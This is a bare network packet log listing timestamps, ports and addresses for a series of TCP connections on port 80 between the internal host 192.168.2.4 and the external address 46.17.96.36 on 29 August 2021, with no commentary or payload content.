Aug 29, 2021 22:27:09.845916986 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.846205950 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.846218109 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.846288919 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.846328020 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.846462965 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.878540993 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.878568888 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.878623009 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.878921032 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.920275927 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:09.920433998 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.227256060 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.228511095 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.260411024 CEST	80	49739	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.260488033 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.260603905 CEST	49739	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.260776997 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.261569023 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.261873960 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.262332916 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.262840986 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.293642044 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.293658018 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.294224977 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.294240952 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.294378042 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.294466019 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.294518948 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.294553041 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.294594049 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.294723034 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.294845104 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.326289892 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326313019 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326399088 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.326451063 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.326498985 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326514006 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326525927 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326531887 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326603889 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.326657057 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.326801062 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.326878071 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.358685017 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.358710051 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.358719110 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.358726978 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.358747959 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.358834982 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.358872890 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.359055042 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.359069109 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.359164000 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.359222889 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.359556913 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.359570980 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.390950918 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.390973091 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.390980005 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.391143084 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.391431093 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.429145098 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.429308891 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.904411077 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.905388117 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.936626911 CEST	80	49740	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.938378096 CEST	49740	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.939389944 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.939533949 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.940207958 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.940363884 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.940610886 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.940781116 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.973211050 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973299026 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973346949 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973411083 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973448992 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973484993 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.973526001 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.973728895 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973767042 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.973877907 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:10.974052906 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.974092007 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:10.974180937 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.006140947 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.006300926 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.006325960 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.006335974 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.006450891 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.006500959 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.006526947 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.006588936 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.006668091 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.006937981 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.006999969 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.007075071 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.007174015 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.007256985 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.008544922 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.039159060 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.039186001 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.039196968 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.039252043 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.039262056 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.039540052 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.040414095 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.040445089 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.040463924 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.040481091 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.040498972 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.040941954 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.041553020 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.041579962 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.073010921 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.073034048 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.073113918 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.073184967 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.110115051 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.110280991 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.376559019 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.377720118 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.409311056 CEST	80	49741	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.409442902 CEST	49741	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.409950972 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.410154104 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.410922050 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.411566973 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.412080050 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.412585020 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.443286896 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.443778038 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444319963 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444341898 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444355965 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444426060 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.444432020 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444463968 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.444484949 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.444650888 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444817066 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.444883108 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.476809978 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.476840973 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.476855993 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.476871014 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.476883888 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.476902008 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.477122068 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.477191925 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.477322102 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.477492094 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.509445906 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.509489059 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.509551048 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.509627104 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.509694099 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.509854078 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.509893894 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.509948015 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.510051012 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.510162115 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.510369062 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.510473967 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.510657072 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.510793924 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.510831118 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.511095047 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.511233091 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.542052031 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.542099953 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.542131901 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.542217016 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.542249918 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.542373896 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.580934048 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.582367897 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.852219105 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.853719950 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.884701014 CEST	80	49742	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.884769917 CEST	49742	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.886164904 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.886574984 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.887317896 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.887548923 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.887729883 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.887804985 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.919635057 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.919800997 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.919938087 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.919969082 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.919998884 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.920062065 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.920171976 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.920186996 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.920293093 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.920303106 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.920396090 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.953059912 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953212976 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.953478098 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953578949 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.953661919 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953676939 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953689098 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953762054 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.953861952 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.953874111 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953921080 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.953953981 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.953989983 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.954179049 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.954257011 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.954324961 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.954782009 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.985580921 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.986119986 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.986238956 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.986253977 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.986265898 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.986265898 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.986325026 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.986362934 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:11.986685038 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.986854076 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.987376928 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.987571001 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.987586021 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.987615108 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.987672091 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:11.987708092 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.018630028 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.018731117 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.018841028 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.018856049 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.018945932 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.062664032 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.065068007 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.307213068 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.308530092 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.339704037 CEST	80	49743	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.339864969 CEST	49743	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.341341972 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.341464996 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.341972113 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.342061043 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.342262983 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.342380047 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.374624968 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.374650955 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.374726057 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.374744892 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.374804020 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.374804974 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.374846935 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.374861002 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.374886036 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.375041962 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.376157999 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.407430887 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.407459974 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.407593966 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.407655001 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.407895088 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.408023119 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.408354044 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.408426046 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.408674002 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.408739090 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.408885956 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.408942938 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.409043074 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.440325975 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.440362930 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.440423012 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.440493107 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.440496922 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.440613031 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.440736055 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:12.440824986 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.440839052 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.440948009 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441056967 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441220999 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441234112 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441426039 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441440105 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441616058 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.441817045 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.473268032 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.473290920 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.473304987 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.473319054 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.513272047 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:12.515289068 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.017940998 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.018918991 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.050687075 CEST	80	49744	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.050750971 CEST	49744	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.050942898 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.051033974 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.051842928 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.051963091 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.052170992 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.052321911 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.084283113 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.085361958 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.085380077 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.085388899 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.085403919 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.085417986 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.085886955 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.119045019 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.119066954 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.119160891 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.119201899 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.119285107 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.119321108 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.119698048 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.119800091 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.119810104 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.119955063 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.152856112 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.152888060 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.152941942 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.152971983 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.153089046 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153167963 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153182983 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153196096 CEST	80	49745	46.17.96.36	192.168.2.4
